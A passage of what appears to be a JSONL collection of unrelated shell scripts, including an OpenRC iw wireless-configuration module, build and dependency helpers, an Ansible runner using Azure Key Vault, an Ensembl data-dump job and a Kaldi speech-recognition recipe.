\"$line\" >>urls.txt\n\tdone < temp.txt\n\techo \"\" > temp.txt\n\tCOUNTER=$(($COUNTER+1))\ndone\nsort urls.txt | uniq -u > sorted.txt\n\nwhile read a\ndo\n\techo $a\n\tpython3 MLD.py $a\ndone < sorted.txt"} {"text": "#!/usr/bin/env bash\n#\n# Usage:\n# ./deps-py.sh \n\nset -o nounset\nset -o pipefail\nset -o errexit\n\ndev-minimal() {\n # Python 2 packages for linting linting Python 2 code.\n pip install --user flake8 typing\n\n # Python 3 packages\n # - MyPy requires Python 3\n # - pexpect is for test/interactive.py\n pip3 install --user mypy pexpect\n}\n\n\"$@\""} {"text": "@lxpanel --profile LXDE-pi\n@pcmanfm --desktop --profile LXDE-pi\n@xscreensaver -no-splash\n@point-rpi\n\n@/home/pi/start.sh"} {"text": "0\n#!/bin/bash\n\nset -e\n\nif [[ \"$TRAVIS_OS_NAME\" != \"windows\" ]]; then\n echo \"Incorrect \\$TRAVIS_OS_NAME: expected windows, got $TRAVIS_OS_NAME\"\n exit 1\nfi\n\n$build_env mingw32-make -k check"} {"text": "#!/bin/bash\n\nprotodir=\"src/test/proto\"\ndescname=\"messages.desc\"\n\nmkdir -p build\n\nprotoc --include_imports --descriptor_set_out=./build/${descname} ${protodir}/*.proto\npushd build\n\npython -m SimpleHTTPServer\n\npopd"} {"text": "0\n# Copyright (c) 2016 <>\n# Based on iwconfig.sh Copyright (c) 2007-2008 <>\n# Released under the 2-clause BSD license.\n# shellcheck shell=sh disable=SC1008\n\n_config_vars=\"$_config_vars ssid mode associate_timeout sleep_scan\"\n_config_vars=\"$_config_vars preferred_aps blacklist_aps\"\n\niw_depend()\n{\n\tprogram /usr/sbin/iw\n\tafter plug\n\tbefore interface\n\tprovide wireless\n\t# Prefer us over iwconfig\n\tafter iwconfig\n}\n\n_get_ssid()\n{\n\tlocal i=5 ssid=\n\n\twhile [ ${i} -gt 0 ]; do\n\t\tssid=$(iw dev \"${IFACE}\" link \\\n\t\t\t| sed -n -e 's/^.*SSID: \\(.*[^ ]\\).*/\\1/p')\n\t\tif [ -n \"${ssid}\" ]; then\n\t\t\techo \"${ssid}\"\n\t\t\treturn 0\n\t\tfi\n\t\tsleep 1\n\t\t: $(( i -= 1 ))\n\tdone\n\n\treturn 1\n}\n\n_get_ap_mac_address()\n{\n\tlocal mac=\"$(iw dev \"${IFACE}\" station dump \\\n\t\t\t| sed -n -e 's/^Station \\([0-9a-f:]*\\).*/\\1/p')\"\n\tcase \"${mac}\" in\n\t\t\"00:00:00:00:00:00\") return 1;;\n\t\t\"44:44:44:44:44:44\") return 1;;\n\t\t\"FF:00:00:00:00:00\") return 1;;\n\t\t\"FF:FF:FF:FF:FF:FF\") return 1;;\n\t\t*) echo \"${mac}\";;\n\tesac\n}\n\niw_get_mode()\n{\n\tLC_ALL=C iw dev \"${IFACE}\" info | \\\n\tsed -n -e 's/^.*type \\(.*[^ ]\\).*/\\1/p' | \\\n\ttr '[:upper:]' '[:lower:]'\n}\n\niw_get_channel()\n{\n\tLC_ALL=C iw dev \"${IFACE}\" info | \\\n\tsed -n -e 's/^.*channel \\(.*\\)/\\1/p' | cut -d , -f 1 |\\\n\ttr '[:upper:]' '[:lower:]'\n}\n\niw_set_mode()\n{\n\tlocal mode=\"$1\"\n\t[ \"${mode}\" = \"$(iw_get_mode)\" ] && return 0\n\n\t# Devicescape stack requires the interface to be down\n\t_down\n\tiw dev \"${IFACE}\" set type \"${mode}\" || return 1\n\t_up\n}\n\niw_get_type()\n{\n\tLC_ALL=C iw dev \"${IFACE}\" info | \\\n\tsed -n -e 's/^'\"$1\"' *\\([^ ]* [^ ]*\\).*/\\1/p'\n}\n\niw_report()\n{\n\tlocal mac= m=\"connected to\"\n\tlocal ssid=\"$(_get_ssid)\"\n\tlocal wep_status=\"(WEP DISABLED)\"\n\tlocal key=\"$(iw_get_wep_key)\"\n\tif [ -n \"${key}\" -a \"${key}\" != \"off\" ] ; then\n\t\twep_status=\"(WEP ENABLED)\"\n\tfi\n\tlocal channel=\"$(iw_get_channel)\"\n\t[ -n \"${channel}\" ] && channel=\"on channel ${channel} \"\n\tlocal mode=\"$(iw_get_mode)\"\n\tmac=\"$(_get_ap_mac_address)\"\n\t[ -n \"${mac}\" ] && mac=\" at ${mac}\"\n\n\teindent\n\teinfo \"${IFACE} ${m} SSID \\\"${SSID}\\\"${mac}\"\n\teinfo \"in ${mode} mode ${channel}${wep_status}\"\n\teoutdent\n}\n\niw_get_wep_key()\n{\n\tlocal mac=\"$1\" key= format_key=\n\t[ -n \"${mac}\" ] && mac=\"$(echo \"${mac}\" | sed -e 's/://g')\"\n\teval key=\\$mac_key_${mac}\n\t[ -z \"${key}\" ] && eval key=\\$key_${SSIDVAR}\n\tif [ -z \"${key}\" ]; then\n\t\techo \"off\"\n\telse\n\t\tformat_key=${key#s:}\n\t\tif [ \"${key}\" = \"${format_key}\" ] ; then\n\t\t\t# Hex key since it does not start with s:\n\t\t\tkey=\"d:0:${format_key}\"\n\t\telse\n\t\t\tkey=\"0:${format_key}\"\n\t\tfi\n\t\tset -- ${key}\n\t\techo \"${key}\"\n\tfi\n}\n\niw_user_config()\n{\n\tlocal conf= var=${SSIDVAR} config=\n\t[ -z \"${var}\" ] && var=${IFVAR}\n\n\tconfig=\"$(_get_array \"iw_${var}\")\"\n\tlocal IFS=\"$__IFS\"\n\tfor conf in ${config}; do\n\t\tunset IFS\n\t\tif ! eval iw dev \"${IFACE}\" \"${conf}\"; then\n\t\t\tewarn \"${IFACE} does not support the following configuration commands\"\n\t\t\tewarn \" ${conf}\"\n\t\tfi\n\tdone\n\tunset IFS\n}\n\niw_setup_adhoc()\n{\n\tlocal mode=\"$1\" channel=\n\tif [ -z \"${SSID}\" ]; then\n\t\teerror \"${IFACE} requires an SSID to be set to operate in ${mode} mode\"\n\t\teerror \"adjust the ssid_${IFVAR} setting in /etc/conf.d/net\"\n\t\treturn 1\n\tfi\n\tSSIDVAR=$(shell_var \"${SSID}\")\n\tlocal key=$(iw_get_wep_key)\n\n\tiw_set_mode \"ibss\"\n\n\teval channel=\\$channel_${SSIDVAR}\n\t[ -z \"${channel}\" ] && eval channel=\\$channel_${IFVAR}\n\t# Convert channel numbers into MHz for iw\n\t# 5MHz increments starting with 2412MHz\n\t# We default the channel to 3 (2422MHz)\n\tchannel=$(expr \\( \\( \"${channel:-3}\" - 1 \\) \\* 5 \\) \\+ 2412)\n\tif [ -z \"${key}\" -o \"${key}\" = \"off\" ]; then\n\t\tiw dev \"${IFACE}\" ibss join \"${SSID}\" \"${channel}\" || return 1\n\telse\n\t\tiw dev \"${IFACE}\" ibss join \"${SSID}\" \"${channel}\" \\\n\t\t\tkey \"${key}\"|| return 1\n\tfi\n\n\t# Finally apply the user Config\n\tiw_user_config\n\n\tiw_report\n\treturn 0\n}\n\niw_wait_for_association()\n{\n\tlocal timeout= i=0\n\teval timeout=\\$associate_timeout_${IFVAR}\n\ttimeout=${timeout:-10}\n\n\t[ ${timeout} -eq 0 ] \\\n\t\t&& vewarn \"WARNING: infinite timeout set for association on ${IFACE}\"\n\n\twhile true; do\n\t\t# Use sysfs if we can\n\t\tif [ -e /sys/class/net/\"${IFACE}\"/carrier ]; then\n\t\t\tif [ \"$(cat /sys/class/net/\"${IFACE}\"/carrier)\" = \"1\" ]; then\n\t\t\t\tlocal station_mac=$(iw dev \"${IFACE}\" station dump \\\n\t\t\t\t\t| sed -n -e 's/^Station \\([0-9a-f:]*\\).*/\\1/p')\n\t\t\t\t# Double check we have an ssid and a non-zero\n\t\t\t\t# mac address. This is mainly for buggy\n\t\t\t\t# prism54 drivers that always set their\n\t\t\t\t# carrier on or buggy madwifi drivers that\n\t\t\t\t# sometimes have carrier on and ssid set\n\t\t\t\t# without being associated. :/\n\t\t\t\t[ -n \"$(iw dev \"${IFACE}\" info |grep ssid)\" ] && [ \"${station_mac}\" != \"00:00:00:00:00:00\" ] && return 0\n\t\t\tfi\n\t\telse\n\t\t\tlocal atest=\n\t\t\teval atest=\\$associate_test_${IFVAR}\n\t\t\tatest=${atest:-mac}\n\t\t\tif [ \"${atest}\" = \"mac\" -o \"${atest}\" = \"all\" ]; then\n\t\t\t\t[ -n \"$(_get_ap_mac_address)\" ] && return 0\n\t\t\tfi\n\t\t\tif [ \"${atest}\" = \"quality\" -o \"${atest}\" = \"all\" ]; then\n\t\t\t\t[ \"$(sed -n -e 's/^.*'\"${IFACE}\"': *[0-9]* *\\([0-9]*\\).*/\\1/p' \\\n\t\t\t\t\t/proc/net/wireless)\" != \"0\" ] && return 0\n\t\t\tfi\n\t\tfi\n\n\t\tsleep 1\n\t\t[ ${timeout} -eq 0 ] && continue\n\t\t: $(( i += 1 ))\n\t\t[ ${i} -ge ${timeout} ] && return 1\n\tdone\n\treturn 1\n}\n\niw_associate()\n{\n\tlocal mode=\"${1:-managed}\" mac=\"$2\" wep_required=\"$3\"\n\tlocal freq=\"$4\" chan=\"$5\"\n\tlocal w=\"(WEP Disabled)\" key=\n\n\tif [ \"${wep_required}\" = \"WPA\" ]; then\n\t\tewarn \"\\\"${SSID}\\\" uses WPA, please use wpa_supplicant for this SSID\"\n\t\treturn 1\n\tfi\n\n\tiw_set_mode \"${mode}\"\n\n\tSSIDVAR=$(shell_var \"${SSID}\")\n\tkey=\"$(iw_get_wep_key \"${mac}\")\"\n\t[ -z \"${key}\" ] && key=off\n\tif [ \"${wep_required}\" = \"on\" -a \"${key}\" = \"off\" ]; then\n\t\tewarn \"WEP key is not set for \\\"${SSID}\\\"\"\n\t\treturn 1\n\tfi\n\tif [ \"${wep_required}\" = \"off\" -a \"${key}\" != \"off\" ]; then\n\t\tkey=\"off\"\n\t\tewarn \"\\\"${SSID}\\\" is not WEP enabled\"\n\tfi\n\n\tif [ -n \"${key}\" -a \"${key}\" != \"off\" ]; then\n\t\tif ! iw dev \"${IFACE}\" connect \"${SSID}\" keys \"${key}\" ; then\n\t\t\tewarn \"${IFACE} does not support setting keys\"\n\t\t\tewarn \"or the parameter \\\"mac_key_${SSIDVAR}\\\" or \\\"key_${SSIDVAR}\\\" is incorrect\"\n\t\t\treturn 1\n\t\tfi\n\t\tw=\"(WEP Enabled)\"\n\tfi\n\tif ! iw dev \"${IFACE}\" connect \"${SSID}\" ; then\n\t\tewarn \"${IFACE} does not support setting SSID to \\\"${SSID}\\\"\"\n\tfi\n\n\t# Only use channel or frequency\n\tif [ -n \"${chan}\" ]; then\n\t\tiw dev \"${IFACE}\" set channel \"${chan}\"\n\telif [ -n \"${freq}\" ]; then\n\t\tiw dev \"${IFACE}\" set freq \"${freq}\"\n\tfi\n\n\t# Finally apply the user Config\n\tiw_user_config\n\n\tebegin \"Connecting to \\\"${SSID}\\\" in ${mode} mode ${w}\"\n\n\tif type preassociate >/dev/null 2>&1; then\n\t\tveinfo \"Running preassociate function\"\n\t\tveindent\n\t\t( preassociate )\n\t\tlocal e=$?\n\t\tveoutdent\n\t\tif [ ${e} -eq 0 ]; then\n\t\t\tveend 1 \"preassociate \\\"${SSID}\\\" on ${IFACE} failed\"\n\t\t\treturn 1\n\t\tfi\n\tfi\n\n\tif ! iw_wait_for_association; then\n\t\teend 1\n\t\treturn 1\n\tfi\n\teend 0\n\n\tiw_report\n\n\tif type postassociate >/dev/null 2>&1; then\n\t\tveinfo \"Running postassociate function\"\n\t\tveindent\n\t\t( postassociate )\n\t\tveoutdent\n\tfi\n\n\treturn 0\n}\n\niw_scan()\n{\n\tlocal x= i=0 scan=\n\teinfo \"Scanning for access points\"\n\teindent\n\n\t# Sleep if required\n\teval x=\\$sleep_scan_${IFVAR}\n\t[ -n \"${x}\" ] && sleep \"${x}\"\n\n\twhile [ ${i} -lt 3 ]; do\n\t local scan=\"${scan}${scan:+ }$(LC_ALL=C iw dev \"${IFACE}\" scan 2>/dev/null | sed -e \"s/'/'\\\\\\\\''/g\" -e \"s/$/'/g\" -e \"s/^/'/g\")\"\n\t\t# If this is the first pass and txpower as off and we have no\n\t\t# results then we need to wait for at least 2 seconds whilst\n\t\t# the interface does an initial scan.\n\t\tif [ \"${i}\" = \"0\" -a \"${txpowerwasoff}\" = \"0\" ]; then\n\t\t\tcase \"${scan}\" in\n\t\t\t\t\"'${IFACE} \"*\"No scan results\"*)\n\t\t\t\t\tsleep 2\n\t\t\t\t\ttxpowerwasoff=1\n\t\t\t\t\tcontinue\n\t\t\t\t\t;;\n\t\t\tesac\n\t\tfi\n\t : $(( i += 1 ))\n\tdone\n\n\tif [ -z \"${scan}\" ]; then\n\t\tewarn \"${IFACE} does not support scanning\"\n\t\teoutdent\n\t\teval x=\\$adhoc_ssid_${IFVAR}\n\t\t[ -n \"${x}\" ] && return 0\n\t\tif [ -n \"${preferred_aps}\" ]; then\n\t\t\t[ \"${associate_order}\" = \"forcepreferred\" ] || \\\n\t\t\t[ \"${associate_order}\" = \"forcepreferredonly\" ] && return 0\n\t\tfi\n\t\teerror \"You either need to set a preferred_aps list in /etc/conf.d/net\"\n\t\teerror \" preferred_aps=\\\"SSID1 SSID2\\\"\"\n\t\teerror \" and set associate_order_${IFVAR}=\\\"forcepreferred\\\"\"\n\t\teerror \" or set associate_order_${IFVAR}=\\\"forcepreferredonly\\\"\"\n\t\teerror \"or hardcode the SSID to \\\"any\\\" and let the driver find an Access Point\"\n\t\teerror \" ssid_${IFVAR}=\\\"any\\\"\"\n\t\teerror \"or configure defaulting to Ad-Hoc when Managed fails\"\n\t\teerror \" adhoc_ssid_${IFVAR}=\\\"WLAN\\\"\"\n\t\teerror \"or hardcode the SSID against the interface (not recommended)\"\n\t\teerror \" ssid_${IFVAR}=\\\"SSID\\\"\"\n\t\treturn 1\n\tfi\n\n\tAPS=-1\n\teval set -- ${scan}\n\tfor line; do\n\t\tcase \"${line}\" in\n\t\t\tBSS*)\n\t\t\t\tx=\"${line#* }\"\n\t\t\t\t: $(( APS += 1 ))\n\t\t\t\teval MAC_${APS}=\"\\\"\"$(echo \"${x%(*}\" | tr '[:lower:]' '[:upper:]')\"\\\"\"\n\t\t\t\teval QUALITY_${APS}=0\n\t\t\t\t;;\n\t\t\t*SSID:*)\n\t\t\t\tx=${line#*: }\n\t\t\t\teval SSID_${APS}=\\$x\n\t\t\t\t;;\n\t\t\t*Mode:*)\n\t\t\t\tx=\"$(echo \"${line#*:}\" | tr '[:upper:]' '[:lower:]')\"\n\t\t\t\tif [ \"${x}\" = \"master\" ]; then\n\t\t\t\t\teval MODE_${APS}=managed\n\t\t\t\telse\n\t\t\t\t\teval MODE_${APS}=\\$x\n\t\t\t\tfi\n\t\t\t\t;;\n\t\t\t*WEP*)\n\t\t\t\teval ENC_${APS}=on\n\t\t\t\t;;\n\t\t\t*WPA*)\n\t\t\t\teval ENC_${APS}=WPA\n\t\t\t\t;;\n\t\t\t*\"DS Parameter set: channel\"*)\n\t\t\t\tx=${line#*: channel}\n\t\t\t\tx=${x%% *}\n\t\t\t\teval CHAN_${APS}=\\$x\n\t\t\t\t;;\n\t\t\t*signal*)\n\t\t\t\tx=${line#*:}\n\t\t\t\tx=${x%/*}\n\t\t\t\tx=\"$(echo \"${x}\" | sed -e 's/[^[:digit:]]//g')\"\n\t\t\t\tx=${x:-0}\n\t\t\t\teval QUALITY_${APS}=\\$x\n\t\t\t\t;;\n\t\tesac\n\tdone\n\n\tif [ -z \"${MAC_0}\" ]; then\n\t\tewarn \"no access points found\"\n\t\teoutdent\n\t\treturn 1\n\tfi\n\n\t# Sort based on quality\n\tlocal i=0 k=1 a= b= x= t=\n\twhile [ ${i} -lt ${APS} ]; do\n\t : $(( k = i + 1 ))\n\t while [ ${k} -le ${APS} ]; do\n\t\teval a=\\$QUALITY_${i}\n\t\t[ -z \"${a}\" ] && break\n\t\teval b=\\$QUALITY_${k}\n\t\t# Lower values are better signal\n\t\tif [ -n \"${b}\" -a \"${a}\" -gt \"${b}\" ]; then\n\t\t for x in MAC SSID MODE CHAN QUALITY ENC; do\n\t\t\teval t=\\$${x}_${i}\n\t\t\teval ${x}_${i}=\\$${x}_${k}\n\t\t\teval ${x}_${k}=\\$t\n\t\t done\n\t\tfi\n\t\t: $(( k += 1 ))\n\t done\n\t : $(( i += 1 ))\n\tdone\n\n\t# Strip any duplicates\n\tlocal i=0 k=1 a= b=\n\twhile [ ${i} -lt ${APS} ]; do\n\t\t: $(( k = i + 1 ))\n\t\twhile [ ${k} -le ${APS} ]; do\n\t\t\teval a=\\$MAC_${i}\n\t\t\teval b=\\$MAC_${k}\n\t\t\tif [ \"${a}\" = \"${b}\" ]; then\n\t\t\t\teval a=\\$QUALITY_${i}\n\t\t\t\teval b=\\$QUALITY_${k}\n\t\t\t\tlocal u=${k}\n\t\t\t\t# We need to split this into two tests, otherwise bash errors\n\t\t\t\t[ -n \"${a}\" -a -n \"${b}\" ] && [ \"${a}\" -lt \"${b}\" ] && u=${i}\n\t\t\t\tunset MAC_${u} SSID_${u} MODE_${u} CHAN_${u} QUALITY_${u} ENC_${u}\n\t\t\tfi\n\t\t\t: $(( k += 1 ))\n\t\tdone\n\t\t: $(( i += 1 ))\n\tdone\n\n\tlocal i=0 e= m= s=\n\n\twhile [ ${i} -le ${APS} ]; do\n\t\teval x=\\$MAC_${i}\n\t\tif [ -z \"${x}\" ]; then\n\t\t : $(( i += 1 ))\n\t\t continue\n\t\tfi\n\n\t\teval m=\\$MODE_${i}\n\t\teval s=\\$SSID_${i}\n\t\teval q=\\$QUALITY_${i}\n\t\teval e=\\$ENC_${i}\n\t\tif [ -n \"${e}\" -a \"${e}\" != \"off\" ]; then\n\t\t e=\", encrypted\"\n\t\telse\n\t\t e=\"\"\n\t\tfi\n\t\tif [ -z \"${s}\" ]; then\n\t\t\teinfo \"Found ${x}, ${m}${e}\"\n\t\telse\n\t\t\teinfo \"Found \\\"${s}\\\" at ${x}, ${m}${e}\"\n\t\tfi\n\n\t\tx=\"$(echo \"${x}\" | sed -e 's/://g')\"\n\t\teval x=\\$mac_ssid_${x}\n\t\tif [ -n \"${x}\" ]; then\n\t\t\teval SSID_${i}=\\$x\n\t\t\ts=${x}\n\t\t\teindent\n\t\t\teinfo \"mapping to \\\"${x}\\\"\"\n\t\t\teoutdent\n\t\tfi\n\n\t\teval set -- $(_flatten_array \"blacklist_aps_${IFVAR}\")\n\t\t[ $# = 0 ] && eval set -- $(_flatten_array \"blacklist_aps\")\n\t\tfor x; do\n\t\t\tif [ \"${x}\" = \"${s}\" ]; then\n\t\t\t\tewarn \"${s} has been blacklisted - not connecting\"\n\t\t\t\tunset SSID_${i} MAC_${i} ${MODE}_${i} CHAN_${i} QUALITY_${i} ENC_${i}\n\t\t\tfi\n\t\tdone\n\t\t: $(( i += 1 ))\n\tdone\n\teoutdent\n}\n\niw_force_preferred()\n{\n\teval set -- $(_flatten_array \"preferred_aps_${IFVAR}\")\n\t[ $# = 0 ] && eval set -- $(_flatten_array \"preferred_aps\")\n\t[ $# = 0 ] && return 1\n\n\tewarn \"Trying to force preferred in case they are hidden\"\n\tfor ssid; do\n\t\tlocal found_AP=false i=0 e=\n\t\twhile [ ${i} -le ${APS} ]; do\n\t\t\teval e=\\$SSID_${i}\n\t\t\tif [ \"${e}\" = \"${ssid}\" ]; then\n\t\t\t\tfound_AP=true\n\t\t\t\tbreak\n\t\t\tfi\n\t\t\t: $(( i += 1 ))\n\t\tdone\n\t\tif ! ${found_AP}; then\n\t\t\tSSID=${ssid}\n\t\t\tiw_associate && return 0\n\t\tfi\n\tdone\n\n\tewarn \"Failed to associate with any preferred access points on ${IFACE}\"\n\treturn 1\n}\n\niw_connect_preferred()\n{\n\tlocal ssid= i= mode= mac= enc= freq= chan=\n\teval set -- $(_flatten_array \"preferred_aps_${IFVAR}\")\n\t[ $# = 0 ] && eval set -- $(_flatten_array \"preferred_aps\")\n\n\tfor ssid; do\n\t\tunset IFS\n\t\ti=0\n\t\twhile [ ${i} -le ${APS} ]; do\n\t\t\teval e=\\$SSID_${i}\n\t\t\tif [ \"${e}\" = \"${ssid}\" ]; then\n\t\t\t\tSSID=${e}\n\t\t\t\teval mode=\\$MODE_${i}\n\t\t\t\teval mac=\\$MAC_${i}\n\t\t\t\teval enc=\\$ENC_${i}\n\t\t\t\teval freq=\\$FREQ_${i}\n\t\t\t\teval chan=\\$CHAN_${i}\n\t\t\t\tiw_associate \"${mode}\" \"${mac}\" \"${enc}\" \"${freq}\" \\\n\t\t\t\t\t\"${chan}\" && return 0\n\t\t\tfi\n\t\t\t: $(( i += 1 ))\n\t\tdone\n\tdone\n\n\treturn 1\n}\n\niw_connect_not_preferred()\n{\n\tlocal ssid= i=0 mode= mac= enc= freq= chan= pref=false\n\n\twhile [ ${i} -le ${APS} ]; do\n\t\teval e=\\$SSID_${i}\n\t\tif [ -n \"${e}\" ]; then\n\t\t\teval set -- $(_flatten_array \"preferred_aps_${IFVAR}\")\n\t\t\t[ $# = 0 ] && eval set -- $(_flatten_array \"preferred_aps\")\n\t\t\tfor ssid; do\n\t\t\t\tif [ \"${e}\" = \"${ssid}\" ]; then\n\t\t\t\t\tpref=true\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tdone\n\n\t\t\tif ! ${pref}; then\n\t\t\t\tSSID=${e}\n\t\t\t\teval mode=\\$MODE_${i}\n\t\t\t\teval mac=\\$MAC_${i}\n\t\t\t\teval enc=\\$ENC_${i}\n\t\t\t\teval freq=\\$FREQ_${i}\n\t\t\t\teval chan=\\$CHAN_${i}\n\t\t\t\tiw_associate \"${mode}\" \"${mac}\" \"${enc}\" \"${freq}\" \\\n\t\t\t\t\t\"${chan}\" && return 0\n\t\t\tfi\n\t\tfi\n\t\t: $(( i += 1 ))\n\tdone\n\n\treturn 1\n}\n\niw_defaults()\n{\n\t# Turn on the radio\n\tiw dev \"${IFACE}\" set txpower auto 2>/dev/null\n\n\tiw dev \"${IFACE}\" disconnect 2>/dev/null\n\tiw dev \"${IFACE}\" ibss leave 2>/dev/null\n}\n\niw_configure()\n{\n\tlocal x= APS=-1\n\teval SSID=\\$ssid_${IFVAR}\n\n\t# Support old variable\n\t[ -z \"${SSID}\" ] && eval SSID=\\$essid_${IFVAR}\n\n\t# Setup ad-hoc mode?\n\teval x=\\$mode_${IFVAR}\n\tx=${x:-managed}\n\n\tif [ \"${x}\" = \"master\" ]; then\n\t\teerror \"Please use hostapd to make this interface an access point\"\n\t\treturn 1\n\tfi\n\n\tif [ \"${x}\" = \"ad-hoc\" ]; then\n\t\tiw_setup_adhoc\n\t\treturn $?\n\tfi\n\n\tif [ \"${x}\" != \"managed\" ]; then\n\t\teerror \"Only managed and ad-hoc are supported\"\n\t\treturn 1\n\tfi\n\n\t# Has an SSID been forced?\n\tif [ -n \"${SSID}\" ]; then\n\t\tiw_set_mode \"${x}\"\n\t\tiw_associate && return 0\n\t\t[ \"${SSID}\" = \"any\" ] && iw_force_preferred && return 0\n\n\t\teval SSID=\\$adhoc_ssid_${IFVAR}\n\t\tif [ -n \"${SSID}\" ]; then\n\t\t\tiw_setup_adhoc\n\t\t\treturn $?\n\t\tfi\n\t\treturn 1\n\tfi\n\n\t_up\n\n\teval x=\\$preferred_aps_${IFVAR}\n\t[ -n \"${x}\" ] && preferred_aps=${x}\n\n\teval x=\\$blacklist_aps_${IFVAR}\n\t[ -n \"${x}\" ] && blacklist_aps=${x}\n\n\teval x=\\$associate_order_${IFVAR}\n\t[ -n \"${x}\" ] && associate_order=${x}\n\tassociate_order=${associate_order:-any}\n\n\tif [ \"${associate_order}\" = \"forcepreferredonly\" ]; then\n\t\tiw_force_preferred && return 0\n\telse\n\t\tiw_scan || return 1\n\t\tiw_connect_preferred && return 0\n\t\t[ \"${associate_order}\" = \"forcepreferred\" ] || \\\n\t\t[ \"${associate_order}\" = \"forceany\" ] && \\\n\t\tiw_force_preferred && return 0\n\t\t[ \"${associate_order}\" = \"any\" ] || \\\n\t\t[ \"${associate_order}\" = \"forceany\" ] && \\\n\t\tiw_connect_not_preferred && return 0\n\tfi\n\n\te=\"associate with\"\n\t[ -z \"${MAC_0}\" ] && e=\"find\"\n\t[ \"${preferred_aps}\" = \"force\" ] || \\\n\t[ \"${preferred_aps}\" = \"forceonly\" ] && \\\n\te=\"force\"\n\te=\"Couldn't ${e} any access points on ${IFACE}\"\n\n\teval SSID=\\$adhoc_ssid_${IFVAR}\n\tif [ -n \"${SSID}\" ]; then\n\t\tewarn \"${e}\"\n\t\tiw_setup_adhoc\n\t\treturn $?\n\tfi\n\n\teerror \"${e}\"\n\treturn 1\n}\n\niw_pre_start()\n{\n\t# We don't configure wireless if we're being called from\n\t# the background\n\tyesno ${IN_BACKGROUND} && return 0\n\n\tservice_set_value \"SSID\" \"\"\n\t_exists || return 0\n\n\tif ! _is_wireless; then\n\t\tveinfo \"${IFACE} does not appear to be a wireless interface\"\n\t\treturn 0\n\tfi\n\n\t# Store the fact that tx-power was off so we default to a longer\n\t# wait if our scan returns nothing\n\tLC_ALL=C iw dev \"${IFACE}\" info | sed -e '1d' | grep -q \"txpower 0.00\"\n\tlocal txpowerwasoff=$?\n\n\tiw_defaults\n\tiw_user_config\n\n\t# Set the base metric to be 2000\n\tmetric=2000\n\n\t# Check for rf_kill - only ipw supports this at present, but other\n\t# cards may in the future.\n\tif [ -e /sys/class/net/\"${IFACE}\"/device/rf_kill ]; then\n\t\tif [ $(cat /sys/class/net/\"${IFACE}\"/device/rf_kill) != \"0\" ]; then\n\t\t\teerror \"Wireless radio has been killed for interface ${IFACE}\"\n\t\t\treturn 1\n\t\tfi\n\tfi\n\n\teinfo \"Configuring wireless network for ${IFACE}\"\n\n\t# Are we a proper IEEE device?\n\t# Most devices reutrn IEEE 802.11b/g - but intel cards return IEEE\n\t# in lower case and RA cards return RAPCI or similar\n\t# which really sucks :(\n\t# For the time being, we will test prism54 not loading firmware\n\t# which reports NOT READY!\n\tx=\"$(iw_get_type)\"\n\tif [ \"${x}\" = \"NOT READY!\" ]; then\n\t\teerror \"Looks like there was a problem loading the firmware for ${IFACE}\"\n\t\treturn 1\n\tfi\n\n\tif iw_configure; then\n\t\tservice_set_value \"SSID\" \"${SSID}\"\n\t\treturn 0\n\tfi\n\n\teerror \"Failed to configure wireless for ${IFACE}\"\n\tiw_defaults\n\tiw dev \"${IFACE}\" set txpower fixed 0 2>/dev/null\n\tunset SSID SSIDVAR\n\t_down\n\treturn 1\n}\n\niw_post_stop()\n{\n\tyesno ${IN_BACKGROUND} && return 0\n\t_exists || return 0\n\tiw_defaults\n\tiw dev \"${IFACE}\" set txpower fixed 0 2>/dev/null\n}"} {"text": "1-10\n#!/usr/bin/env bash\n\nsource scripts/bin/az-login.sh\n\nexport OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES\n\nexport MACHINE_PASSWORD=$(az keyvault secret show --vault-name \"kv-home-automation\" --name \"k8s-MACHINE-PASSWORD\" | jq -r '.value')\n\nANSIBLE_CONFIG=./ansible/ansible.cfg\n\nansible-playbook \"$1\" -i ansible/hosts.yml --extra-vars \"ansible_become_pass='$'\""} {"text": "omf-aggmgr/test/gem-package.sh1-10\nPATH=$PATH:$HOME/.gem/ruby/1.8/bin\necho \"Downloading / Upgrading bundler gem\"\ngem list bundler | grep bundler -q\nif [ $? -eq 0 ]; then\n gem update bundler --user-install\nelse\n gem install bundler --no-rdoc --no-ri --user-install\nfi \necho \"Downloading and packaging gems required for OMF\"\necho \"--- Errors regarding 'libfakeroot-sysv.so' are harmless and can be ignored. This may take a while! ---\"\nif [ -d \"vendor\" ]; then\n rm -rf vendor\nfi\nrake=/usr/bin/rake bundle pack\ncd vendor && gem fetch bundler"} {"text": "at7/work\nworking_dir=/hps/nobackup2/production/ensembl/anja/release_94/human/grch37/dumps/\nbsub -q production-rh7 -M 5000 -R \"rusage[mem=5000]\" -J gvf -o ${working_dir}gvf.out -e ${working_dir}gvf.err \\\nperl /homes/anja/bin/ensembl-variation/scripts//export/release/dump_gvf.pl \\\n--sift --polyphen --incl_consequences --protein_coding_details --evidence --ancestral_allele --clinical_significance --global_maf \\\n--species homo_sapiens \\\n--is_slice_piece \\\n--seq_region_id 27517 \\\n--slice_piece_end 198022430 \\\n--seq_region_name 3 \\\n--slice_piece_start 193071880 \\\n--gvf_file $working_dir/homo_sapiens_incl_consequences-27517_193071880_198022430.gvf \\\n--registry $working_dir/ensembl.registry \\"} {"text": "#!/bin/bash\n\n. cmd.sh\n. path.sh\nset -e # exit on error\n\n# call the next line with the directory where the CUSENT data is\n# (the argument below is just an example). This should contain\n# subdirectories named as follows:\n# test train \n\necho \">> Prepare data & dictionary & language model\"\n\nCUSENT=/media/datasets/CUSENT_wav_copy\n\nexp=exp\n\nlocal/cusent_data_prep.sh $CUSENT\nlocal/cusent_prepare_dict.sh\n\nutils/prepare_lang.sh data/local/dict 'sil' data/local/lang data/lang\n\nlocal/cusent_format_data.sh\n\n# mfccdir should be some place with a largish disk where you\n# want to store MFCC features. You can make a soft link if you want.\nfeatdir=mfcc\n\necho \">> Feature extraction -- MFCC \"\nfor x in train test dev; do\n utils/fix_data_dir.sh data/$x\n steps/make_mfcc.sh --nj 4 --cmd \"run.pl\" data/$x $exp/make_feat/$x $featdir\n steps/compute_cmvn_stats.sh data/$x $exp/make_feat/$x $featdir\ndone\n\necho \">> Train mono phone GMM-HMM \"\nsteps/train_mono.sh --nj 4 --cmd \"$train_cmd\" data/train data/lang $exp/mono\n\n#echo \">> Decode\"\nutils/mkgraph.sh --mono data/local/lm/fst/lm_trigram.arpa $exp/mono $exp/mono/graph\nsteps/decode.sh --nj 4 --cmd \"$decode_cmd\" $exp/mono/graph data/test $exp/mono/decode_test\n\nsteps/align_si.sh --nj 4 --cmd \"$train_cmd\" data/train data/lang $exp/mono 